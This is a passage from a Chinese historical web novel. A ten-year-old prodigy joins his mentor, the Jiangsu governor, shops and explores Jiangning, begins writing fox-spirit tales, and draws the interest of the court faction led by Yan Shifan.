“按规矩,你在浙江乡试中举,便是我大乾朝在册的浙江举人,理应在浙江贡院受教。” “不过,为师忝为江苏巡抚,这点薄面还是有的。” “我已与江苏学政陈子墨打过招呼。” “子墨先生对你那篇《漕海之争》亦是推崇备至,早已想见一见你这少年英才。” “他已应允,破格让你入江苏贡院,与其他举人一同听学。” “贡院中的教习,皆是江南名宿,才学见识,丝毫不弱于浙江。” “平日里你便与其他学子一同求学,若有不解之处,尽可向教习们请教。” “弟子明白,谢恩师费心。” 陆明渊应道。 林瀚文看着他那张平静无波的脸,忽然一笑,仿佛卸下了封疆大吏的威严,多了几分长辈的亲昵。 “不过,你也要有个心理准备。贡院之内,皆是天之骄子,哪个不是心高气傲之辈?” “你一个浙江的案首,到江苏来,少不得会有人眼红,会有人不服,明里暗里给你使绊子,借题发挥,都是意料之中的事。” 他拍了拍陆明渊的肩膀,语气变得豪迈起来。 “不过,你无须怕他们。为师让你去,不是让你夹着尾巴做人。” “若是有人与你文斗,你便拿出真本事,让他们心服口服。若是有人寻衅滋事,你尽管反击便是!” “再怎么样,我林瀚文也是一省巡抚。” “自己的亲传弟子,若是在自家地盘上被人欺负了,这人我可丢不起!” 这番话,带着一股不容置疑的霸气与护短,让陆明渊心中一暖,那份初来乍到的疏离感瞬间消散无踪。 他抬起头,迎着林瀚文的目光,嘴角勾起一抹自信的笑容。 “恩师放心,弟子省得。绝不会丢了师门的颜面!” “哈哈哈,好!有这股气势就好!” 林瀚文朗声大笑,对陆明渊的回答极为满意。 调侃过后,林瀚文脸上的笑容渐渐敛去,神情再次变得郑重。 他引着陆明渊在石凳上坐下,语重心长地说道。 “明渊,接下来为师要与你说的话,你要牢牢记在心里。” “你之前的县试、府试乃至乡试,考的都是八股文章,是圣人经义。” “朝廷要的,是能读书、读懂书的聪明人。说白了,就是筛选天下英才的门槛。” “但是,会试不同。” 林瀚文的目光变得深邃。 “会试取士,要的不仅仅是聪明人,更是能治理一方的宰辅之才,是真正的国之栋梁!” “所以,贡院之内的学习,与你之前在府学、县学接触的东西,有天壤之别。” “除了经义,你更要通晓我大乾的律法、钱粮、漕运、兵备、吏治……凡此种种,皆是学问。” 陆明渊屏息凝神,认真地听着。 这些话,是赵先生教不了他的,是书本上也看不到的。 然而,林瀚文接下来的话,却让陆明渊的瞳孔骤然一缩。 “纸上得来终觉浅,绝知此事要躬行。” “从明日起,为师每日处理完公务,都会将当日遇到的一桩棘手政务,隐去人名地名,誊抄一份给你。” “你要做的,便是设身处地,将自己当做主政之人,写下你的处置方略与意见。” “没有对错,不计工拙,为师要看的,是你如何思考,如何权衡,如何在这千头万绪的乱麻之中,找到那根解决问题的线头。” “此举,是为了磨炼你的政务之能,更是为了提升你对时局、对策论的敏感。” “一篇《漕海之争》,可见你天资过人,为师要教你的,是如何将天赋化作实用!” 轰! 这番话如同一道惊雷,在陆明渊的脑海中轰然炸响! 每日一篇真实政务的案卷? 让他一个十岁的少年,去揣摩、剖析、处置一省的军政要务? 这是何等的信任? 何等的栽培? 陆明渊瞬间明白了这背后所代表的意义。 这已经不是简单的教导了,这是在手把手地传授为官之道。 这是将他当成了真正的衣钵传人,要将毕生心血倾囊相授! 这更是违规的! 朝廷政务,岂能外泄? 哪怕是隐去了关键信息,一旦传扬出去,也足以给林瀚文带来天大的麻烦,甚至会成为政敌攻佞的把柄! 他与恩师,今日不过是第二次见面。 可对方却愿意为他冒如此大的风险,肯如此真心实意地待他! 一股难以言喻的巨大暖流,瞬间冲垮了陆明渊两世为人构筑起来的坚固心防。 他再也无法保持平静,猛地站起身来,整理好衣衫,对着林瀚文,深深地、郑重地躬身下拜,行了一个远超师徒之礼的大礼。 “恩师……” “恩师如此厚爱,如此栽培,弟子……弟子粉身碎骨,无以为报!” 这一刻,他才真正深刻地体会到。 在这个时代,“一日为师,终身为父”这八个字,究竟是何等沉重的分量。 这份恩情,比天高,比海深! 林瀚文静静地受了他这一拜,眼中满是欣慰。 他要的,就是陆明渊能明白这份栽培的重量。他上前一步,双手将陆明渊搀扶起来,温和地说道。 “好孩子,你能明白为师的苦心,便不枉我一番布置。” “记住,权力越大,责任越重。” “为师希望你将来,能成为一个真正为国为民的好官,而不是一个只懂文章的腐儒。” “弟子,谨遵恩师教诲!” 陆明渊重重地点头,眼眶微红。 “好了,今日你远道而来,舟车劳顿,先去歇息吧。” 林瀚文的语气恢复了轻松,他扬声向院外喊道:“文龙!” 话音刚落,沈文龙的身影便出现在了院门口,躬身道。 “大人。” “你带明渊去安顿下来,再安排几个伶俐的人伺候。” “另外,你亲自带他去城里最好的铺子,被褥、四季衣衫、笔墨纸砚,但凡他需要的一应物什,都给他置办齐全了,记在我的私账上。” 林瀚文吩咐道。 “是,大人。” 沈文龙一一应下,随即转向陆明渊,脸上依旧是那副亲切温和的笑容。 “明渊,请随我来吧。” 第123章 少年得志,最忌心浮气躁 沈文龙带着陆明渊来到城东,林瀚文的宅子前! 他一边儿带路,一边儿介绍道! “大人平日里公务繁忙,有些事未及细说,我便与你分说一二。” “有劳沈先生。” 陆明渊恭敬道。 沈文龙侧过半个身子,一边走一边说道。 “大人的这座宅子,是朝廷赐予的官邸。” “凡我大乾朝各省巡抚,皆有此规制,三进三出,是标配,亦是一方大员身份的象征。不过……” 他话音一顿,指了指月洞门的方向,也就是前衙与后宅的分界线。 “大人与其他官员不同。林大人并无家眷在此,孑然一身。” “所以这偌大的宅院,除了这后院,前头的两进院子,大人都另有安排。” 陆明渊目露询问之色。 沈文龙眼中闪过一丝由衷的敬佩,声音也低沉了几分。 “前院住着的,都是军中袍泽的遗孀孤儿,或是在战场上落了残疾、家中贫苦无依的弟兄。” “他们平日里便负责府中的洒扫杂役,也算是有个安身立命之所,能领一份月钱养家糊口。” 陆明渊的脚步微微一滞,心中再次被深深触动。 他本以为林瀚文只是一个手腕高明、深谋远虑的政客。 却未曾想,在这份权臣的威严之下,竟还藏着这样一副柔情。 收拢人心,有很多种方法。威逼、利诱,皆是寻常手段。 而林瀚文选择的,却是最笨拙,也最真诚的一种——推己及人,施以恩惠。 这些受他庇护的军户家眷,平日里或许只是些不起眼的下人,可一旦有事,他们便是林瀚文最忠诚的耳目。 这份忠诚,不是靠银钱能买来的,而是用人心换来的。 “这些人对大人极为敬重,忠心不二。” 沈文龙仿佛看穿了陆明渊的心思,继续说道。 “你既是大人唯一的亲传弟子,便是这府里半个主子。” “日后若有任何需求,尽管吩咐他们便是,无需客气,更不必担心他们会嚼舌根。” 陆明渊郑重地点了点头。 “明白了。” 说话间,两人穿过一道垂花门。 沿途遇到的仆役,无论男女老少,见到沈文龙与陆明渊,都远远地便停下脚步。 众人躬身立于道旁,口称“沈先生”、“陆少爷”,神情恭敬至极。 陆明渊并未因此而有丝毫倨傲,每当有人行礼,他都会停步,微微颔首,回以一礼。 他的目光清澈平和,没有半分巡抚弟子的骄纵,更不见连中三元的傲气。 那份与年龄不符的谦逊与沉稳,让每一个与他对视的下人都心生好感。 沈文龙将这一切都看在眼里,心中愈发满意。 少年得志,最忌心浮气躁,目中无人。 而眼前这个年仅十岁的少年,却仿佛一块历经千年风雨冲刷的璞玉,内敛温润,光华暗藏。 大人果然没有看错人,此子将来,必成大器。 “到了。” 沈文龙在一处更为雅致的院落前停下。 这里显然是后宅的核心区域,与前院的喧闹彻底隔绝,连空气中都飘着淡淡的墨香与茶香。 “这里便是大人的私人院落,前院的下人,若无传召,是绝不许踏入半步的。” 沈文龙解释道。 “这院里除了大人的主屋外,还空着五间厢房。明渊你看上哪一间,便作为你的卧室。” 他随即又指了指不远处一座与主屋紧邻的小楼。 “那里是大人给你选好的书房,就在大人书房的隔壁。” “里面桌椅案几一应俱全,文房四宝也都备下了上好的徽墨、宣纸、湖笔、端砚。” “你若是有用不惯的,尽管与我说,我立刻安排人去城里最好的铺子采买。” 这份安排,不可谓不贴心,更不可谓不看重。 书房紧邻,意味着林瀚文随时可以指点他的学问。 陆明渊环视一周,最终指向最角落,靠近一丛芭蕉的一间厢房,说道。 “就那间吧,清净。” 沈文龙眼中闪过一丝赞许。 不争不抢,不慕奢华,只求清净,这份心性,实在难得。 “好。” 沈文龙领着他进了屋。房间早已被打扫得一尘不染,陈设简洁雅致。 一张梨花木的床榻,一个衣柜,一张圆桌,几把椅子,仅此而已。 陆明渊将自己那个小小的包袱放在桌上,里面只有几件换洗衣物和几本书。 他看了一眼空荡荡的房间,心中迅速列出了一张需要采买的物品清单。 被褥、枕头、四季的衣衫鞋袜、洗漱用的铜盆毛巾,还有一些日常用的杂物。 他转过身,对沈文龙问道。 “沈先生,不知这江宁城中,最大的商行在何处?” 沈文龙闻言一笑,答道。 “要说最大,那自然是‘万宝斋’。” “万宝斋乃是咱们江苏省,乃至整个江南都数一数二的大商行。” “上至奇珍异宝、古玩字画,下至柴米油盐、布匹绸缎,从死物到活物,可以说是应有尽有。” “只要你有银子,就没有在万宝斋买不到的东西。” “多谢沈先生指点。” 陆明渊心中有了数。 “明渊可是要出去采买些日用品?” 沈文龙问道。 “正是,初来乍到,许多东西尚未备齐。” “这等小事,何须你亲自跑一趟。” 沈文龙笑道。 “你列个单子给我,我着人去办便是。” 陆明渊摇了摇头,温言道。 “衣物鞋袜总要亲身试过才好,而且我也想出去走走,熟悉一下江宁城的环境。” “以后要在此地求学生活,总不能做个闭门不出的书呆子。” 这番话说得合情合理,沈文龙便不再坚持。 他点了点头,说道:“也好。那我安排两个府里的下人陪你同去,也好帮你把东西带回来。” “如此,便有劳了。” 陆明渊没有推辞。他知道,自己如今的身份,独自一人出门,反倒会让林瀚文和沈文龙不放心。 “客气了。” 沈文龙说完,便转身出去安排人手。 片刻之后,两个看着约莫十六七岁,身手矫健、眼神伶俐的年轻人便来到了院中。 “明渊,他们一个叫阿大,一个叫阿二,是府里的护卫,拳脚功夫都还过得去。” “你带他们出门,我也放心些。” 沈文龙介绍道。 “见过陆少爷!” 阿大阿二齐齐躬身行礼,声音洪亮。 陆明渊点了点头,道。 “两位大哥不必多礼。” 告别了沈文龙,陆明渊便带着阿大阿二,离开了巡抚衙门。 从威严肃杀的官衙大门走出,踏上江宁府繁华的街道,陆明渊只觉得眼前豁然一亮。 他仿佛从一幅笔墨厚重的水墨画,走进了一卷色彩绚烂的《清明上河图》。 宽阔的青石板街道上,车水马龙,人流如织。 挑着担子走街串巷的货郎,吆喝声清脆悠长。 路边茶馆里,说书先生正讲到精彩处,引来满堂喝彩。 衣着光鲜的富家公子摇着折扇,与同伴高谈阔论。 温婉秀丽的江南女子撑着油纸伞,在人群中穿行而过,留下一路淡淡的脂粉香气。 街道两旁的店铺鳞次栉比。 酒楼、茶肆、当铺、钱庄、布行、胭脂铺……各色招牌幌子迎风招展,看得人眼花缭乱。 这便是大乾朝最富庶的江南首府,江宁。 它的繁华与热闹,远非小小的江陵县所能比拟。 陆明渊深吸一口气,空气中混杂着食物的香气、水粉的甜腻以及人间烟火的温热气息,让他也随之放松下来。 “陆少爷,万宝斋就在前面的朱雀大街上,是整条街上最大的一栋三层楼,门口有两个石狮子,最好认了。” 阿大在一旁恭敬地指路。 陆明渊顺着他指的方向望去,果然在街角尽头,看到了一座气势恢宏的建筑。 飞檐斗拱,雕梁画栋,比之江陵县的知县衙门还要气派几分。 “走吧,我们过去看看。” 第124章 这便是人间烟火,真实而温暖! 越是靠近,陆明渊便越能感受到万宝斋那扑面而来的富贵之气。 门口的两尊石狮子,雕刻得栩栩如生,威风凛凛。 门前车水马龙,进出之人非富即贵,衣着光鲜,气度不凡。 还未踏入,便有一股淡淡的檀香混合着各种珍奇货品的味道飘散出来,闻之令人心神一清。 陆明渊拾级而上,阿大阿二则是不动声色地落后半步,一左一右,将他护在中间。 这般阵仗,加上陆明渊自身那份远超年龄的沉稳气度,立刻便引来了一位管事模样的中年人的注意。 那管事眼睛毒辣,一眼便看出这两个护卫绝非寻常家丁。 而中间这个看似年幼的少年,更是气度从容,绝非池中之物。 他不敢怠慢,连忙满脸堆笑地迎了上来。 “这位少爷,里面请。不知小的有什么能为您效劳的?” “我想置办几身换洗的衣物,再采买些日用品。” 陆明渊淡淡开口,声音清朗。 “好嘞!少爷您算是来对地方了!” 管事笑容愈发灿烂,亲自引路。 “咱们万宝斋的成衣,无论是款式还是料子,在整个江宁府都是首屈一指的。二楼请,那里清净,方便您慢慢挑选。” 说着,他便将陆明渊引向一旁的红木楼梯。 万宝斋的一楼大堂,人声鼎沸,摆放的都是些寻常的布匹、南北杂货、金银首饰。 虽然也都是精品,但终究落了俗套。 而通往二楼的楼梯口,则有专人看守,显然不是什么人都能上去的。 踏上二楼,周遭的喧嚣瞬间被隔绝在外。 地面铺着厚厚的波斯地毯,踩上去悄无声息。 空气中弥漫着更为清雅的熏香,三三两两的客人在伙计的陪同下低声交谈,一派雍容雅致的景象。 “少爷,这边请。” 管事将陆明渊引到一处靠窗的雅间,早有伶俐的伙计奉上了清香扑鼻的雨前龙井。 “不知少爷偏爱什么料子?苏杭的丝绸,湖州的湖绉,还是松江的棉布,我们这儿都备着最好的。” 陆明渊呷了一口茶,说道。 “先不必看料子,我想先看看款式。” “好嘞!” 管事会心一笑,拍了拍手。 很快,两个伙计抬着一个巨大的樟木箱子走了进来。 箱子打开,里面却不是成衣,而是一卷卷整齐码放的画轴。 管事亲自取出一卷,在宽大的桌案上缓缓展开。 画卷之上,赫然是一位身着天青色直裰的书生,衣袂飘飘,神态潇洒。 画工精湛,连衣物的褶皱、纹理都描绘得纤毫毕现。 旁边还用小楷标注着衣物的尺寸、用料建议以及不同场合的搭配。 陆明渊的眼中闪过一丝惊异。 他看着伙计们一卷接一卷地展开画轴,上百幅画卷铺陈开来,简直就是一场古代的时装展览。 画中人物各异,有身着锦袍的富家公子,有穿着短打劲装的江湖侠客,有头戴儒巾的文人雅士,甚至还有不同节令、不同场合的礼服。 士农工商,婚丧嫁娶,几乎囊括了世间百态。 这……便是这个时代最高效的“商品目录”了。 陆明渊心中不禁生出几分感慨。 在没有网络,没有摄影的时代,古人想的这种法子,在这个时代是领先性的。 这些画卷,不仅是商品,更是艺术品,是这个时代风貌最直观的记录。 “少爷,您看可有中意的?” 管事在一旁适时地问道。 陆明渊收回思绪,目光在画卷上扫过。 他如今的身份是巡抚弟子,穿着上既不能太奢华张扬,也不能太寒酸失了林瀚文的体面。 他指着其中几幅画说道。 “就要这几套吧。一套月白色的常服,一套藏青色的外袍,再来一套方便活动些的短衫。” “少爷好眼光!” 管事立刻命人取来对应的布料样品,皆是质地上乘,手感温润的料子。 随后,一位经验丰富的老师傅走了进来。 他手持一把骨尺,为陆明渊量了身高、肩宽、臂长等尺寸,动作娴熟,一丝不苟。 “都记下了?” 管事问道。 “回掌柜的,都记下了。” “少爷,” 管事转向陆明渊,恭敬道。 “您选的这几套衣物,咱们这儿的绣娘赶工,七日后便可取。您先付一半定金即可。” “五套服饰,算上料子和纺织,一共八十三两银子,您第一次来,三两银子就免了!” “您支付四十两定金即可!” 陆明渊想了想,问道。 “可否加急?” “自然可以。” 管事笑道。 “若是您着急,咱们可以给您办加急,让最好的师傅连夜赶工,三天后就能取。只是这价钱嘛,要再多加三成。” “就办加急。” 陆明渊毫不犹豫地说道。他初来乍到,总不能一直穿着那身半旧的衣服。 “好嘞!” 管事大喜,这可是一笔不小的生意。 他立刻提笔,在一张特制的票据上写下陆明渊的需求、尺寸和取货时间,然后盖上万宝斋的印章,撕下副联递给陆明渊。 “少爷,这是凭证,三日后您凭此牌前来取衣即可。” 陆明渊接过那块制作精美的黄杨木牌子,点了点头,收入怀中。 定下了衣物,他又在管事的陪同下,在万宝斋里逛了起来。 这里果然如沈文龙所说,应有尽有。 陆明渊为自己挑选了一套上好的文房四宝。 徽墨如漆,宣纸如玉,湖笔挺拔,端砚温润,打算用来平日里练字,以及继续写他的话本稿件。 随后,他又采买了被褥、枕头、铜盆、毛巾等一应日用品。 东西不多,但零零碎碎加起来也有不少。 采买完毕,陆明渊将所有东西都交给了阿大和阿二。 “两位大哥,辛苦你们将这些东西先送回府中,交予沈先生即可。” “陆公子客气了,这是我们分内之事。” 阿大阿二躬身应道,随即一人拎着大包小包,先行离去。 陆明渊则对管事拱了拱手,独自一人走出了万宝斋。 处理完所有琐事,他只觉得浑身一轻。 此刻,他不再是那个背负着家族期望、连中三元的少年神童,也不是江苏巡抚的亲传弟子。 他只是一个普普通通的十岁少年,怀着满心的好奇,打量着这座陌生的、繁华得令人目眩的城市。 他信步走在江宁府的街头,感受着江南独有的风土人情。 与江陵县的质朴粗犷不同,这里的气息是温润的,是细腻的,是浸透在骨子里的风雅。 街上的行人,穿搭也与江陵县大相径庭。 女子们多着水墨淡彩的襦裙,撑着一把油纸伞,走起路来步步生莲,如同一幅幅流动的仕女图,那份温婉柔美,是北地女子所没有的。 而男子们,即便是寻常百姓,也多穿着天青色或月白色的长衫,头戴方巾,显得文质彬彬。 偶尔有几个佩刀的武人走过,也少了几分江湖的煞气,多了几分儒将的风采。 这里,无疑是一片文风极盛之地。 一砖一瓦,一草一木,似乎都浸染着千年的书卷气。 除了穿着,最让陆明渊感到新奇的,便是这里的方言。 吴侬软语,听在耳中,与江陵县硬朗的官话截然不同。 很多话他都听不懂,却并不觉得烦躁。 反而觉得那语调软糯,抑扬顿挫,别有一番风味。 这种奇特而新鲜的感觉,让陆明渊颇为欢喜。 他买了一串糖葫芦,一边吃着,一边漫无目的地闲逛。 他走过秦淮河畔,看画舫在碧波上穿行,听船娘用软糯的歌声唱着江南的小调。 他穿过夫子庙前的牌坊,看无数士子在贡院前进进出出,脸上带着或期盼或失落的神情。 他还钻进了一条不知名的小巷,看孩子们在巷口追逐嬉戏,老人们坐在门前摇着蒲扇,悠闲地聊着家常。 这便是人间烟火,真实而温暖。 不知不觉,逛了足足三个时辰。 天边的太阳渐渐西沉,晚霞如火,烧遍了半个天空,也映红了秦淮河的水面,波光粼粼,美不胜收。 陆明渊心满意足,辨明了方向,朝着巡抚衙门的方向返回。 当他回到林府那座雅致的私人院落时,天色已经擦黑。 阿大和阿二早已等候在院门口,见他回来,立刻迎了上来。 “陆公子,您回来了。” “嗯。” 陆明渊点了点头,问道。 “我买的东西都放好了?” “回少爷,都已按照沈先生的吩咐,安放在您的房间里了。” 阿大恭敬的回答。 阿二随即又补充了一句,神色间带着几分郑重。 “陆公子,抚台大人已经回来了,就在书房等您!” 第125章 开篇便是狐妖爱上书生的故事! 陆明渊心中一凛,白日里那份闲散的心情瞬间收敛,取而代之的是一种面对师长的肃然。 他点了点头,整了整略有些褶皱的衣衫,朝着院落深处那座灯火通明的书房快步走去。 书房门口,沈文龙正负手而立,身影在灯光下被拉得很长。 他似乎早已在此等候,见到陆明渊的身影,脸上露出一丝温和的笑意,却并未多言。 他轻轻上前,屈起手指在厚重的木门上叩了三下,声音沉稳而有节奏。 “大人,陆公子回来了。” 门内传来一个略带疲惫却依旧中气十足的声音:“让他进来。” 沈文龙对陆明渊做了个“请”的手势,便侧身退到一旁,重新恢复了那副渊渟岳峙的姿态。 陆明渊深吸一口气,推门而入。 书房内灯火通明,数盏烛台上的牛油大蜡将整个房间照得亮如白昼。 林瀚文正伏在一张宽大的紫檀木书案后,手持一支狼毫,在一份公文上迅速地批阅着什么。 他的眉头微蹙,神情专注,对于陆明渊的进入,只是眼角余光瞥了一下,便再无他顾。 陆明渊见状,没有出声打扰,只是悄无声息地走到一旁,垂手而立,静静地等候着。 他的目光扫过这间书房。这并非他第一次来,但每一次,都仍能感受到一种无形的震撼。 四壁皆是顶天立地的书架,上面密密麻麻地摆满了各类经史子集、地方志异。 墙上挂着一幅巨大的《大乾舆图》,上面用朱笔圈点着无数的标记。 陆明渊站得笔直,身形如松,没有丝毫的焦躁与不耐。 他看着林瀚文的笔锋在宣纸上游走,时而迅疾如风,时而凝重如山。 他能从那笔迹的顿挫转折间,感受到一种运筹帷幄、决断千里的气势。 这便是封疆大吏的日常,于这方寸书案之上,处理着千里之外的风云变幻。 终于,待案头那支线香燃尽最后一缕青烟,袅袅散入空气中,林瀚文落下了最后一笔。 他长长地舒了一口气,将手中的狼毫搁在笔洗之上。 拿起那份批阅完的公文,仔细吹干了墨迹,随即将其装入一个牛皮纸封套,取过一旁的火漆,在烛火上烤化,小心翼翼地滴在封口处,最后用一方私印重重地按了下去。 整个过程一丝不苟,充满了庄重的仪式感。 “文龙。” 他扬声道。 守在门外的沈文龙立刻推门而入,躬身行礼。 “将此八百里加急,送往杭州府,交予周泰周大人。” 林瀚文将信封递了过去,语气平淡,内容却石破天惊。 “是!” 沈文龙郑重地接过,双手捧着,小心地退了出去。 处理完这件要务,林瀚文这才将目光完全投向了在一旁默立良久的陆明渊。 他那双深邃的眼眸中,方才的锐利与威严渐渐褪去,化作了一抹温和的笑意。 “等久了吧?” “学生不敢,能观老师处理公务,是学生的荣幸。” 陆明渊躬身答道。 “呵呵,” 林瀚文笑了笑,指了指对面的椅子。 “坐吧。今天出去逛了一天,感觉如何?这江宁府,与你的家乡江陵县,可有什么不同?” 陆明渊依言坐下,身子只坐了椅子的前半部分,腰背挺得笔直。 他稍稍整理了一下思绪,开口道。 “回老师的话,感受颇深。若说江陵县是一幅质朴的山水写意画,那这江宁府,便是一卷精雕细琢的工笔长卷,处处透着繁华与精致。” “哦?说来听听。” 林瀚文饶有兴致地端起了手边的茶盏。 “学生今日在城中闲逛,所见所闻,皆与北地大不相同。” 陆明渊娓娓道来。 “其一,是风土人情。此地之人,言语温软,举止风雅。便是街头巷尾的寻常百姓,眉宇间也少了几分北地的悍勇,多了几分江南的温润。” “秦淮河上的画舫,夫子庙前的士子,都构成了一道独特的风景,文风之盛,可见一斑。” “其二,是衣着服饰之变。江陵县的百姓,衣着多以朴素实用为主,颜色也偏向厚重。” “而江宁府的女子,多着水墨淡彩的襦裙,男子则偏爱天青、月白色的长衫,款式也更为飘逸大胆。” “学生在万宝斋定制衣物时,那里的管事竟拿出上百幅画卷作为式样,令人大开眼界。” “这背后,想来是百姓富足,心思便从求存,转向了求美。” “其三,便是语言。吴侬软语,虽十句中有七八句听不明白,但那音调婉转,别有一番韵味,与官话的硬朗截然不同。” 陆明渊将自己的所见所得,条理清晰地一一阐述,其中不仅有表象的观察,更有自己的一番思考。 林瀚文静静地听着,脸上的笑意愈发浓郁。 待陆明渊说完,他满意地点了点头,放下茶盏,赞许道。 “不错,观察得甚是细致,还能从表象看到内里,殊为难得。你小小年纪,便有这份见微知著的眼力,为师很欣慰。” 他顿了顿,话锋一转,开始为陆明渊解惑。 “你说的这几点,都说到了根子上。” “尤其是这衣着服饰的变化,你可知为何江苏与我大乾另一富庶之地浙江省,在穿衣风格上亦有巨大差异?” 陆明渊一怔,这个问题他倒是未曾想过,虚心求教道。 “学生愚钝,还请老师赐教。” “地理。” 林瀚文吐出两个字,眼中闪过一丝锐光。 “江苏虽有长江入海口,但腹地广阔,远离外海,可以说是内陆安稳之地。” “没了外患之忧,百姓安居乐业,自然就附庸风雅,追求精致与华美,衣着风格也因此更加大胆飘逸。” “而浙江则不同,” 他的声音沉了几分。 “浙江东临大海,海岸线漫长,虽有海运之利,却也常年遭受倭寇袭扰。” “百姓时时生活在警惕之中,男子多习武防身,女子亦要操持家务,随时准备应对突发状况。” “因此,他们的穿衣风格便更偏向于务实、干练,少有江苏这般繁复的款式。” “这便是‘一方水土养一方人’的道理,环境,决定了人的生存方式,也塑造了地方的文化风俗。” 一番话,如醍醐灌顶,让陆明渊豁然开朗。 他之前只看到了表面的繁华,却未曾深思其背后的地缘政治与安全因素。 林瀚文接着又为他讲述了一些江苏省特有的风俗习惯。 大到官场规矩,小到人情往来,事无巨细,皆一一点明,意在帮助他能更快地融入此地。 聊完了这些,林瀚文的神色变得郑重起来。 “明日,你去贡院入学吧。” “你虽是我的弟子,但终究年岁尚幼,根基还需打磨。” “江宁府贡院乃是江南文枢之地,名师云集,藏书万卷,你去那里,既可以系统地学习经义,也能结交一些同辈的青年才俊,对你日后的成长有好处。” “每年的束脩,为师已经替你缴了,你明日直接过去便是,贡院的学正会亲自带你熟悉一切。” “多谢老师安排!” 陆明渊起身,恭恭敬敬地行了一礼。 “坐下。” 林瀚文摆了摆手,示意他不必多礼,随即话锋再转,眼中带着一丝考较的意味。 “去贡院读书是其一。从明日开始,为师每天都会从衙门带回来一件待处理的政务,或是一桩案卷,或是一份陈情,或是一地呈上来的条陈。” “你无需给出最终的决断,但需要仔细考量,写下你的看法、分析以及你认为可行的处置之法,第二天交给我。” 陆明渊的心猛地一跳,呼吸都为之一滞。 “今日你初来乍到,便先熟悉熟悉环境,算是给你放一天假。” 林瀚文的语气恢复了平淡,仿佛刚才只是说了一件微不足道的小事。 “学生……定不负老师厚望!” 陆明渊压下心中的激荡,声音坚定地回答。 林瀚文欣慰地点了点头,又与他聊了一些生活上的琐碎之事。 一盏茶的功夫后,林瀚文挥了挥手。 “时辰不早了,你奔波了一天也累了,回去歇着吧。” “是,老师也请早些安歇。” 陆明渊再次行礼,而后恭敬地退出了书房。 当他离开后,书房的门被重新关上,林瀚文脸上的温和笑意缓缓敛去,重新化作了那份深沉与威严。 他从书案下抽出另一摞厚厚的公文,再次提起了笔,书房的灯火,注定要亮到深夜。 陆明渊回到自己的房间,心潮依旧澎湃。 他先是按照惯例,来到书桌前,铺开宣纸,研好徽墨。 窗外的月光如水银泻地,洒入房中,与烛光交相辉映。 他深吸一口气,凝神静气,手腕悬起,笔尖在纸上落下。 一个又一个的蝇头小楷从笔下流出,工整而有力,既有馆阁体的端庄,又隐隐透着一丝属于他自己的风骨。 这是他雷打不动的习惯,每日练字三千,既是磨炼心性,也是锻炼笔力。 当最后一个字写完,他放下笔,活动了一下略有些酸麻的手腕,心中那份激荡也随之平复下来。 他没有立刻休息,而是从行囊中取出了另一叠稿纸。 这是他为林远峰写的话本。 那本《西游记》的故事已经讲到了大闹天宫的最高潮部分,后续的情节也已构思完毕,只待落笔。 不过,今日在江宁府的所见所闻,尤其是那份浸透在骨子里的风雅与市井间的烟火气,却给了他新的灵感。 《西游记》固然宏大,但似乎少了一些男欢女爱,少了一些人世间的痴缠与诡谲。 他的脑海中,另一个瑰丽奇绝的世界缓缓展开。 他要写一个新的故事,一个由无数个短篇串联起来的故事集。 那里有爱上穷书生的美丽狐妖,有画中走出的绝色美人,有义薄云天的水鬼,也有心地险恶的道士。 那里有人,有鬼,有妖,有仙,光怪陆离,却无一不映照着人性的复杂与世间的百态。 那便是另一部经典志怪小说,《聊斋志异》 陆明渊重新铺开一张稿纸,提笔蘸墨,在纸的顶端写下了三个字——《婴宁》。 开篇便是狐妖爱上书生的故事。 窗外,月上中天,夜色渐深。 房间内,少年伏案疾书,笔尖在纸上沙沙作响! 第126章 世上最没用的,就是天才的骨气 陆明渊正在伏案疾书,远在千里之外的京都,波涛汹涌! …… 大乾王朝,京都,东城! 一栋豪华无比的府邸坐落在东城最好的地段! 这便是内阁首辅严嵩的府邸。 此刻,夜已三更,府内深处的一座小楼却依旧灯火通明。 此楼名为“听雨楼”,名字雅致,却是严党真正的中枢所在。 能在此楼中彻夜不眠的,除了首辅大人严嵩,便只有他的儿子,工部左侍郎,被朝野私下称为“小阁老”的严世蕃。 楼内,上好的龙涎香青烟袅袅,将奢华的陈设笼罩在一片迷离的香雾之中。 一个略显肥胖的中年男子,正有些慵懒地斜倚在一张铺着白虎皮的太师椅上。 他身着一袭松垮的锦袍,面色白皙,保养得极好。 只是那双本该因肥胖而显得眯缝的眼睛,此刻却开阖之间,精光四射,仿佛能洞穿人心。 他便是严世蕃。 也是大乾官场人尽皆知的小阁老! 他的面前,一张紫檀木长案上,整齐地码放着一叠叠来自全国各省的乡试捷报与前三甲的试卷。 这些代表着大乾未来官场的卷宗,此刻却像是集市上待价而沽的货物,被他随意地翻阅着。 “唉……” 一声长长的叹息,带着几分说不出的失望与倦怠,从严世蕃的口中吐出。 他将手中一份卷宗随手扔在案上,发出一声沉闷的轻响。 “今年的秋闱,当真是乏善可陈。满纸地之乎者也,陈词滥调,看着便让人犯困。” 他端起手边的参茶,呷了一口,眉头却皱得更紧了。 “偌大一个大乾,十三省的举人,竟只挑出这么两个还算有些灵性、值得栽培的苗子?真是……一代不如一代了。” 他口中的“灵性”,自然不是指文章的锦绣,而是指字里行间透露出的那份懂得变通、可以为己所用的“慧根”。 站在他身侧的,是一个面容精悍、眼神沉静的中年人,名叫罗文龙。 听到小阁老的抱怨,罗文龙并未立刻接话,只是躬着身子,脸上带着恰到好处的恭谨,耐心等待着他将牢骚发完。 直到严世蕃将茶盏重重放下,罗文龙才不疾不徐地从袖中取出另一份独立的卷宗,双手奉上,轻声道。 “小阁老息怒。今年的秋闱,或许并非全是庸才,只是有一颗最璀璨的明珠,并未在这批寻常的卷宗之内。” “哦?” 严世蕃眼皮抬了抬,来了些许兴趣。 “说来听听。” “此人,小阁老或许也有耳闻。” 罗文龙的声音压得更低了些。 “浙江省江陵县,陆明渊。” “陆明渊……” 严世蕃咀嚼着这个名字,脑海中那张巨大的信息之网瞬间开始检索。 片刻之后,他的眼中闪过一丝了然。 “就是那个写出《漕海之争》策论,被陛下破格封为男爵的十岁小儿?” “阁老英明,正是此人。” “此子,今年亦参加了浙江乡试。” “县试、府试、院试,三试皆为案首。” “三试魁首?” 严世蕃终于坐直了身子,那份慵懒一扫而空。 “把他的卷子拿来我看看。” 罗文龙立刻将那份卷宗呈上。 严世蕃接过,展开细看。 与那些四平八稳、辞藻华丽却言之无物的文章不同,陆明渊的试卷,字迹虽还带着一丝稚嫩的锋锐,但其文风却老辣得可怕。 “妖孽……当真是个妖孽!” 许久,严世蕃才缓缓合上试卷,口中喃喃自语。 “这等人才,若是不能为我所用,将来必成心腹大患。清流那帮人,怕是也早就盯上他了吧?” 罗文龙躬身道。 